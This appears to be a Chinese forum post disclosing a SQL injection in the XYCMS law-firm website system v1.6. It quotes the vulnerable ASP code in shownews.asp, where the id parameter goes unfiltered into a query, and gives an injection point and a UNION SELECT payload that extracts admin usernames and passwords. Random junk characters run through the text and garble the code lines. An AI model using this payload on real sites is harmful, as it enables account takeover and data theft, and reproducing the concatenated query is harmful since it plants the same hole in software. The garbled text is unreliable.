XYCMS律师事务所建站系统注入漏洞

admin

前言：刚才蛋疼无聊下载了审计下,就稍微的看了下，漏洞太多。ps：跟有个投稿的板块文章有点类似
. f  I  S2 R7 ~9 r6 ~! W: k* J
淫荡分割线
--------------------------------------------------------
! ~1 F" v1 Z% F; @% ~7 V  D9 k
审计版本：XYCMS律师事务所建站系统 v1.6(其他版本自测)
源码地址:http://down.chinaz.com/soft/29233.htm

2 B6 U0 N* ?& @4 Q- Q漏洞文件:shownews.asp
漏洞代码：7-13行


  m2 M9 L' G' ~/ x' g/ e  }<%
2 K% Z) k9 ^+ c$ X) z9 y7 yid=request.QueryString("id")
+ y9 P: a. m0 e8 K  f   
/ O/ W) E2 b9 j8 ~set snews=server.createobject("adodb.recordset")
exec="select * from [news] where id="&id
0 ?+ l* r, |$ z' Csnews.open exec,conn,1,1
, P" Z) r' g: @1 `; d%>
6 K  |3 `! a( X; {: I

) j( Y. \1 S1 c$ q& l什么过滤都没有  直造成注入

注入点:http://127.0.0.1:99/shownews.asp?id=xx

其余相同漏洞文件:showdxal.asp,showfwly.asp 等等自己找


- S& T5 t4 C, h  o+ y$ K$ Vexp: union select 1,admin,password,4,5,7 from admin_user
​
, ^0 T) Y! x# R